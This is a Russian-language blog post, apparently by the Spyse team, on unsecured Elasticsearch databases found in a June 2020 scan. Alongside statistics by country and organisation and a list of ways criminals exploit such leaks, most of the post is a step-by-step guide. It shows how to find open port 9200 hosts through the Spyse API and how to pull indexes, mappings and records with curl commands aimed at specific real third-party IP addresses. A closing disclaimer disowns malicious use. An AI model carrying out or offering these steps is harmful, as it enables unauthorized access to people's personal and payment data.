В июне, команда Spyse обновила свою систему сканирования и решила ее протестировать, сформировав свежую выборку уязвимых баз данных Elasticsearch. Проблема этих баз данных не нова, но как мы увидим дальше, разработчики все еще не спешат себя обезопасить. По умолчанию Elasticsearch не имеет никакой системы безопасности, что делает процесс сканирования довольно простым для поисковика Spyse.
15 июня 2020 при сканировании порта 9200, было найдено 436 терабайт утекших данных. Эти данные принадлежат таким предприятиям, как Amazon, DigitalOcean, Google, Microsoft, ESPN и многим китайским корпорациям.
Найденная информация содержит конфиденциальные данные пользователей (имейлы, номера телефонов, пароли, история заказов, привязанные методы оплаты и тд.), бизнес данные (внутренняя информация компании, информация о поставках, продуктах...), адреса биткоин кошельков и многое другое.
Пример полей найденных у Amazon:
*Важно понимать - это лишь быстрый пример. Сервер может принадлежать тому, кто использует Amazon в качестве хостинга. Найти и детально изучить базы можно будет после прочтения этого гайда.
"fields_list": [ "auth_user", "auth_user.company_id", "auth_user.country", "auth_user.country.address_format_id", "auth_user.country.country_name", "auth_user.country.ebay_countrycode", "auth_user.email", "auth_user.first_name", "auth_user.is_active", "auth_user.is_staff", "auth_user.is_superuser", "auth_user.issuperadmin", "auth_user.last_name", "auth_user.password", "auth_user.reset_password", "email", "first_name", "gender", "last_name", "orders", "phone", "tab_id", "tab_name", "tab_parent_id", "tin", "totalorder" ] |
Утечка данных ElasticSearch
Самые популярные индексы баз данных называются Readme, Kibana или nightlionsecurity.com.
Readme - скорее всего говорит о том, что база данных взломана и залочена с требованием выкупа.
Kibana - помогает анализировать логи (в которых тоже много всего интересного)
Последний - компания, рекламирует себя путем переименования утекших баз данных.
После анализа удалось выяснить что на 15.06.2020 4,1% баз данных уже были взломаны с требованием выкупа.
Одна из основных функций Spyse - это автоматический анализ и связывание данных. Благодаря этому можно быстро проанализировать или произвести поиск с учетом связей между IP, доменами, организацией, странной и другими сущностями интернета.
Топ 3 самых уязвимых стран
Страна | Количество серверов |
China | 5468 |
United States | 4256 |
Germany | 1070 |

Топ уязвимых доменов по Alexa Rank
Alexa Rank | Domains |
16451 | espn.com.mx |
18568 | htmlbook.ru |
21661 | qyresearch.com |
25914 | econet.ru |
28058 | baiduyunpan.com |
30961 | btba.cc |
31947 | btba.com.cn |
32804 | espn.com.au |
Топ 10 самых уязвимых организаций
Организация | Количество серверов |
Hangzhou Alibaba Advertising Co., Ltd. | 2478 |
Amazon.com, Inc. | 1933 |
DigitalOcean, LLC | 1332 |
Google LLC | 1203 |
Shenzhen Tencent Computer Systems Company Limited | 910 |
OVH SAS | 825 |
Microsoft Corporation | 745 |
Hetzner Online GmbH | 336 |
Linode, LLC | 321 |
China Unicom Beijing Province Network | 236 |
Как хакеры могут воспользоваться данными
Вариантов эксплуатации подобных данных очень много, рассмотрим несколько простых.
Продажа данных. Простой дамп базы данных и продажа ее в даркнете. Это может быть как продажа целой базы так и отдельный тип данных, номера и пароли платежных карт.
Выкуп. База данных закрывается локером который шифрует всю информацию и дает доступ только при наличии специального ключа, или нет. Зачастую даже после выплаты требуемой суммы данные остаются заблокированными.
Бесплатные покупки. При наличии доступа к базе данных где хранятся продукты, злоумышленник может поменять статус заказа на “оплачено” и бесплатно рассылать себе товары/продукты.
Шпионаж. Данные могут быть проданы конкурентам или использованы для собственного обогащения. Например можно вложиться в компанию перед большим слиянием.
Как найти базы данных Elasticsearch
WEB интерфейс
Все данные фактически лежат на поверхности, нужно только постучаться. Что мы и сделаем используя поисковик Spyse.
Самый простой способ поиска информации это
Алгоритм поиска:
Перейдите на


В результатах поиска вы найдете все IP-адреса с открытым портом 9200, на котором мы предполагаем есть Elasticsearch. Но если вы хотите убедиться, используйте простой запрос Get для каждого IP-адреса и в ответе получите подтверждение гипотезы.
Вся дополнительная информация - связанные организации, интернет-провайдеры, домены и поддомены, рейтинг Alexa, номер AS и т. д... Уже связана с помощью алгоритмов Spyse.
Для более продвинутых пользователей которые хотят автоматизировать поиск рекомендуется освоить работу с API.
Использование API
Первый запрос предоставляет почти ту же информацию, что и web, за исключением только всех доменов, связанных с IP. Это связано с тем, что если IP не имеет записи PTR, он не будет связан с доменом. Чтобы предотвратить эту ситуацию и расширить диапазон исследования, добавив несколько новых доменов, нужно использовать один дополнительный запрос.
Пример первого запроса:
https://api.spyse.com/v2/data/ip/search?limit=10&search_params=%7B%22ip_port_open_ports%22%3A%20%5B%7B%22operator%22%3A%20%22eq%22%2C%20%22value%22%3A%20%229200%22%7D%5D%7D |
Запрос можно проверить прямо в документации API Spyse. Для этого авторизуйтесь используя API token найденный на
Пример:
{ "limit": 1, "offset": 0, "search_params": [ { "ip_port_open_ports": { "operator": "eq", "value": "9200" } } ] } |
Результаты:
{ "ip":"3.122.243.58", "maxmind_geo":{ "city_name":"Frankfurt am Main", "continent_code":"EU", "continent_name":"Europe", "country":"Germany", "country_iso_code":"DE", "location":{ "lat":50.1188, "lon":8.6843 }, "tz":"Europe/Berlin", "updated_at":"2020-02-19T08:48:32.423012Z" }, "maxmind_isp":{ "as_num":16509, "as_org":"Amazon.com, Inc.", "isp":"Amazon.com", "org":"Amazon.com", "updated_at":"2020-02-19T08:48:32.423049Z" }, "ptr_record":{ "value":"ec2-3-122-243-58.eu-central-1.compute.amazonaws.com", "updated_at":"2020-02-18T15:58:17.539008Z" }, "score":7, "severity_details":{ "HIGH":10, "MEDIUM":19, "LOW":2 }, "updated_at":"2020-02-18T15:58:17.539008Z" } |
Для проверки действительно ли на порту есть Elasticsearch рекомендуется написать короткий скрипт который сам будет проверять цели.
Имеем информацию по IP на которых есть Elasticsearch. Второй запрос подразумевает сбор всех доменов привязанных к IP.
Пример запроса:
https://api.spyse.com/v2/data/domain/search?limit=10&search_params=%7B%22domain_dns_a%22%3A%20%5B%7B%22operator%22%3A%20%22eq%22%2C%20%22value%22%3A%20%223.93.170.245%22%7D%5D%7D |
Проверьте это в документации API Spyse – GET /domain/search > {“domain_dns_a”: [{“operator”: “eq”, “value”: “8.8.8.8”}]}
Данные собраны.
Дальнейшие действия применимы только к базам данных Elasticsearch и направлены на получение информации с базы данных. Все, что нужно сделать, это правильно обратиться к базе (это зависит от версии эластика). Запросы, как обычно, представлены в документации по
Анализ баз данных Elasticsearch
Алгоритм поиска:
Обращаемся к адерсу где находится Elasticsearch в формате «ip: port / _stats».
Пример:
curl http://171.244.129.66:9200/_stats |

Ответ вернет индексы, размер и количество документов. Ответ может быть и отрицательным:
> Информация о том, что у нас нет разрешения на такие действия.
> Ошибка.
Если доступ запрещен или у нас нет доступа, можно попробовать получить информацию другим способом, указав путь _nodes.
Пример:
curl http://171.244.129.66:9200/_nodes |

Когда индексы будут собраны, собираем их маппинги делая запросы формата: “ip:port/_mapping”, и после собираем их поля по пути “sql?format=json” запросы с пейлоадом в формате “{“query”:”DESC indexname“}”
Пример:
curl http://171.244.129.66:9200/_mapping |

На последнем этапе - получение точных данных.
Отправляем путь «index / _ search» в для получения 10 случайных записей каждого индекса.
curl --header "Content-Type: application/json" --request GET --data '{"query":"DESC products"}' '178.32.101.214:9200/_sql?format=json' |

Проблемы с Elasticsearch
Важно понимать, что это не разовая утечка, эти базы данных постоянно доступны, а из-за пренебрежения базовыми методами защиты список постоянно пополняется.
От отсутствия мер безопасности в первую очередь страдают пользователи, и только потом компании и организации.
Разработчики Elasticsearch предоставляет основные правила и
Spyse не поддерживает хакеров и не приветствует использование данных в злонамеренных целях. Подобный статьи направлены на изменение глобального безответственного отношения к кибер-безопасности интернет инфраструктур.